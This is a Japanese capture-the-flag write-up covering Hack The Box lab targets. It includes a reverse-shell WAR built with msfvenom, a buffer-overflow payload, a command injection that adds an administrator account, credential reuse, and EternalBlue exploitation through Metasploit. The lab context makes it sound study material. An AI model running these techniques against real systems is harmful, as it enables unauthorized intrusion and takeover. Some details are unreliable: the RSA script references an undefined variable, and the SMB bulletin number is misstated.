HTB: Beginner
HTB, しばらくやってなかったらアカウント忘れてしまった
新しくアカウントを作って starting point も終えたので,やっていきたい
Weak RSA
from Crypto.PublicKey import RSA
pubkey = RSA.importKey(open("key.pub").read())
e = pubkey.e
n = pubkey.n
print("e :", e)
print("n :", n)
これで e, n を計算する. e が巨大なので以下のように攻撃する
import owiener
from Crypto.Util.number import *
e = 68180928631284147212820507192605734632035524131139938618069575375591806315288775310503696874509130847529572462608728019290710149661300246138036579342079580434777344111245495187927881132138357958744974243365962204835089753987667395511682829391276714359582055290140617797814443530797154040685978229936907206605
n = 573177824579630911668469272712547865443556654086190104722795509756891670023259031275433509121481030331598569379383505928315495462888788593695945321417676298471525243254143375622365552296949413920679290535717172319562064308937342567483690486592868352763021360051776130919666984258847567032959931761686072492923
d = owiener.attack(e, n)
if d is None:
print("Failed")
else:
print("d={}".format(d))
with open('flag.enc', 'rb') as ct:
sc = bytes_to_long(ct.read())
plain = pow(c, d, n)
print(long_to_bytes(plain).strip())
Jerry
- nmap: http-proxy 8080
- ip:8080 にアクセスする
- tomcat が開いている
- /manager/html が管理画面っぽい
- デフォルトパスワードをブルートフォースすると tomcat:s3cret で通る
- .war ファイルをアップロードできる
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
でリバースシェルファイルを生成/revshell/
にアクセス
- nc で待ち構えるとシェルが開く
- Users/Administrator/Desktop
type *
- user, root どちらも書いてある
You know 0xDiablos
- checksec は全部無効
- ghidra でデコンパイルする
void vuln(void)
{
char local_bc [180];
gets(local_bc);
puts(local_bc);
return;
}
{
char local_50 [64];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 != (FILE *)0x0) {
fgets(local_50,0x40,local_10);
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
printf(local_50);
}
return;
}
puts("Hurry up and try in on server side.");
/* WARNING: Subroutine does not return */
exit(0);
}
- PIE(次に実行する関数のアドレス) オフセットは 188
pattern_offset 0x41417741
python3 -c "import sys; sys.stdout.buffer.write(b'A'*188+b'\xe2\x91\x04\x08')" > exploit.txt
r < exploti.txt
- EIP の次に引数があるので,flag 関数の中身に必要な引数を追加する
python3 -c "import sys; sys.stdout.buffer.write(b'A'*188+b'\xe2\x91\x04\x08'+b'DUMB\xef\xbe\xad\xde\x0d\xd0\xde\xc0')" > exploit.txt
Netmon
- nmap
- ftp が anonymous ログイン
- PRTG netowork monitor が動いている
- バックアップデータを取り出すと,ユーザ名とパスワードが手に入る
- 管理画面ログイン
- さっきのパスワードを少しずつ変えてログインする
- このバージョンに RCE の脆弱性がある
abc.txt | net user htb abc123! /add ; net localgroup administrators htb /add
- これをトリガーする
- このトリガー方法を調べるので 500 年使った
psexec.py htb:'abc123!'@ip
BLUE
- nmap
- -sCV で hostname が見える
- Windows 7 が動いている
smbclient
で SMB シェアの詳細を見れる- MS17-101 の脆弱性を使う
- Wanna Cry
- metasploit でやっていく
search MS17-101
use 0
- RHOSTS, LHOST を設定する
run
- 内部に入れるので,シェルを起動する
shell
- flag を取る